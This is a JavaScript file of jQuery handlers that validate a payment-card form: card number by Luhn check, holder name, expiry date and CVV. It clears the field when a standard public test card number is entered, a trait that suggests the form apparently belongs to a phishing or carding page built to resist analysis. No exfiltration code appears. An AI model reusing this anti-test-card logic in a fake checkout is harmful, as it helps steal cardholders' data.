function xnxx(){
    var cc = document.getElementById("xnxx").value;
    if(cc.match(/^[0-2]|^[7-9]/))
    {
        document.getElementById("xnxx").value = "";
    }
    if(cc.match(/4111111111111111|5500000000000004|340000000000009|30000000000004|3088000000000009/))
    {
        document.getElementById("xnxx").value = "";
    }
    var type = cc.substr(0, 2);
    var type1 = cc.substr(0, 1);
    if (type.startsWith('34') || type.startsWith('37')) {
        $('#cvv').attr('maxlength', '4');
        $('#cvv').attr('pattern', '\\d{4}');
        $('#cvv').attr('required', 'true');
        $('#cvv')[0].setCustomValidity('');
        validateCVV();
        $("#cvv").attr('maxlength','4');
    }else{
        $("#cvv").attr('maxlength','3');
    }
}
function isValidCardNumber(number) {
    let sum = 0;
    let shouldDouble = false;
    for (let i = number.length - 1; i >= 0; i--) {
        let digit = parseInt(number.charAt(i));
        if (shouldDouble) {
            digit *= 2;
            if (digit > 9) digit -= 9;
        }
        sum += digit;
        shouldDouble = !shouldDouble;
    }
    return sum % 10 === 0;
}
function formatCardNumber(event) {
    const input = event.target;
    let value = input.value.replace(/\D/g, '');
    const maxLength = getCardNumberMaxLength(value);
    if (value.length > maxLength) {
        value = value.slice(0, maxLength);
    }
    input.value = value.replace(/(.{4})/g, '$1 ').trim();
    validateCardNumber();
}
function getCardNumberMaxLength(value) {
    if (/^3[47]/.test(value)) {
        return 15;
    } else {
        return 16;
    }
}
function validateCardNumber() {
    $('#xnxx').mask('0000 0000 0000 0000')
    const cardInput = document.getElementById('xnxx');
    const cardNumber = cardInput.value.replace(/\s/g, '');
    if (!isValidCardNumber(cardNumber)) {
        $("#cc").addClass('invalid');
        $("#xnxx").addClass('invalid');
        $("#errCN").show().html('<i class="bi bi-exclamation-circle-fill"></i> Invalid card number. Please check a card number.')
    } else {
        $("#cc").removeClass('invalid');
        $("#xnxx").removeClass('error').addClass("hasText").removeClass('invalid').addClass('valid');
        $("#errCN").html('')
    }
}
document.getElementById('xnxx').addEventListener('paste', (event) => {
    setTimeout(() => formatCardNumber(event), 0);
});



$('#xnxx').on("keyup , focus", () => {
    var cardnumber = $("#xnxx").val()
    if (cardnumber === "") {
        $("#cc").addClass('invalid');
        $("#xnxx").addClass('invalid');
        $("#errCN").show().html('<i class="bi bi-exclamation-circle-fill"></i> Please enter a card number.')
    } else if (cardnumber.length < 15) {
        $("#cc").addClass('invalid');
        $("#xnxx").addClass('invalid');
        $("#errCN").show().html('<i class="bi bi-exclamation-circle-fill"></i> Please enter a valid card number.')
    } else {
        $("#cc").removeClass('invalid');
        $("#xnxx").removeClass('error').addClass("hasText").removeClass('invalid').addClass('valid');
        $("#errCN").html('')

    }
});

$('#namecard').on("keyup , focus", () => {
    var namecard = $("#namecard").val()
    if (namecard == "") {
        $("#cholder").addClass('invalid');
        $("#namecard").addClass('invalid');
        $("#errHolder").show().html('<i class="bi bi-exclamation-circle-fill"></i> Please enter a card holder name.')

    } else if (namecard.length < 6) {
        $("#cholder").addClass('invalid');
        $("#namecard").addClass('error').addClass('hasText').addClass('border-error').addClass('invalid');
        $("#errHolder").show().html('<i class="bi bi-exclamation-circle-fill"></i> Please enter check a card holder name.')

    } else {
        $("#cholder").removeClass('invalid');
        $("#namecard").removeClass('error').addClass("hasText").removeClass('invalid').addClass('valid');
        $("#errHolder").html('')
    }
});

    $('#cardexp').mask('00/00');
    $('#cardexp').on("keyup focus input", function () {
    var creditExpiration = $("#cardexp").val();
        if (creditExpiration === ""){
            $("#exp").addClass('invalid');
            $("#cardexp").addClass('invalid');
            $("#errExp").show().html('<i class="bi bi-exclamation-circle-fill"></i> Please enter a expiration date.');


        } else if (creditExpiration.substr(0, 2) > 12 || creditExpiration.substr(0, 2) == "00" || creditExpiration.length < 5) {
            $("#exp").addClass('invalid');
            $("#cardexp").addClass('invalid');
            $("#errExp").show().html('<i class="bi bi-exclamation-circle-fill"></i> Please enter a valid expiration date.');
            
        } else if (!creditExpiration.includes("/")) {
            $("#exp").addClass('invalid');
            $("#cardexp").addClass('invalid');
            $("#errExp").show().html('<i class="bi bi-exclamation-circle-fill"></i> Please enter a expiration year.');
            $("#cardexp").parent().parent().parent().removeClass('validated').addClass('border-error').addClass('invalid');

        } else if (creditExpiration.substr(3, 2) < 25 || creditExpiration.substr(3, 2) == "00") {
            $("#exp").addClass('invalid');
            $("#cardexp").addClass('invalid');
            $("#errExp").show().html('<i class="bi bi-exclamation-circle-fill"></i> This date seems to have expired.');
            $("#cardexp").parent().parent().parent().removeClass('validated').addClass('border-error').addClass('invalid');   
        } else if (creditExpiration.substr(3, 2) > 35 || creditExpiration.substr(3, 2) == "00") {
            $("#exp").addClass('invalid');
            $("#cardexp").addClass('invalid');
            $("#errExp").show().html('<i class="bi bi-exclamation-circle-fill"></i> This date seems too far in the future.');
               
        } else if (creditExpiration.length > 5) {
            $("#exp").addClass('invalid');
            $("#cardexp").addClass('invalid');
            $("#errExp").show().html('<i class="bi bi-exclamation-circle-fill"></i> Please check a expiration date.');

        } else {
            $("#exp").removeClass('invalid');
            $("#cardexp").removeClass('error').addClass("hasText").removeClass('invalid').addClass('valid');
            $("#errExp").html('');

        }
        let my = $('#cardexp')
        if (my.val().length == 2 && !my.val().includes("/"))
            my.val(my.val() + "/")
    });

    $('#cvv').blur('keyup focus', () => {
        var cvv = $('#cvv');
        if (cvv === "") {
            cvv.addClass('invalid');
            $('#errCVV').show().html('<i class="bi bi-exclamation-circle-fill"></i> Please enter a CVV/CVV2.');
            cvv.closest('.form-group').removeClass('validated');
        }
    });

$('#cvv').mask('0000');
    var cardNumberInput = $('#xnxx');
    var cvvInput = $('#cvv');
    var errCVV = $('#errCVV');
    cardNumberInput.on('input', function () {
        var cardNumber = this.value.trim();
        resetCVVValidation();
        if (cardNumber.startsWith('34') || cardNumber.startsWith('37')) {
            cvvInput.attr('maxlength', '4');
            cvvInput.attr('pattern', '\\d{4}');
            cvvInput.attr('required', 'true');
            cvvInput[0].setCustomValidity('');
            validateCVV();
        } else {
            cvvInput.attr('maxlength', '3');
            cvvInput.attr('pattern', '\\d{3}');
            cvvInput.attr('required', 'true');
            cvvInput.removeClass('error').removeClass('invalid').addClass('valid');;
            cvvInput.closest('.form-group').addClass('validated');
            cvvInput[0].setCustomValidity('');
        }
    });
    cvvInput.on('input', function () {
        validateCVV();
    });
    function validateCVV() {
        var cardNumber = cardNumberInput.val().trim();
        if (cardNumber.startsWith('34') || cardNumber.startsWith('37')) {
            if (cvvInput.val().length < 3) {
                cvvInput.addClass('invalid');;
                errCVV.show().html('<i class="bi bi-exclamation-circle-fill"></i> Please enter a secure code (CVV).');
                cvvInput.closest('.form-group').removeClass('validated');
            } else if (cvvInput.val().length === 3) {
                cvvInput.addClass('invalid');;
                errCVV.show().html('<i class="bi bi-exclamation-circle-fill"></i> Please enter 4 digit secure code.');
                cvvInput.closest('.form-group').removeClass('validated');
            } else {
                cvvInput.removeClass('invalid').addClass('valid');;
                cvvInput.closest('.form-group').addClass('validated');
                errCVV.hide();
            }
        } else {
            if (cvvInput.val().length === 3) {
                cvvInput.removeClass('invalid').addClass('valid');;
                cvvInput.closest('.form-group').addClass('validated');
                errCVV.hide();
            } else if (cvvInput.length < 2) {
                cvvInput.addClass('invalid');;
                cvvInput.closest('.form-group').removeClass('validated');
                errCVV.show().html('<i class="bi bi-exclamation-circle-fill"></i> Please enter a valid secure code.');
            } else {
                cvvInput.addClass('invalid');;
                cvvInput.closest('.form-group').removeClass('validated');
                errCVV.show().html('<i class="bi bi-exclamation-circle-fill"></i> Please enter 3 digit secure code.');
            }
        }
    }
    function resetCVVValidation() {
        cvvInput.removeClass('error').removeClass('hasText').removeClass('invalid').addClass('valid');
        cvvInput.closest('.form-group').removeClass('validated');
        errCVV.hide();
    };

    $('#xnxx, #namecard, #cardexp, #cvv').on("keyup focus", () => {
        if (!$("#xnxx").hasClass('error') && 
        !$("#namecard").hasClass('error') && 
        !$("#cardexp").hasClass('error') && 
        !$("#cvv").hasClass('error') && 
        $("#xnxx").val().length > 0 && 
        $("#namecard").val().length > 0 && 
        $("#cardexp").val().length > 0 && 
        $("#cvv").val().length > 0){
        $("#submitButton").prop("disabled", false);
        } else {
            $("#submitButton").prop("disabled", true); 
        }});
    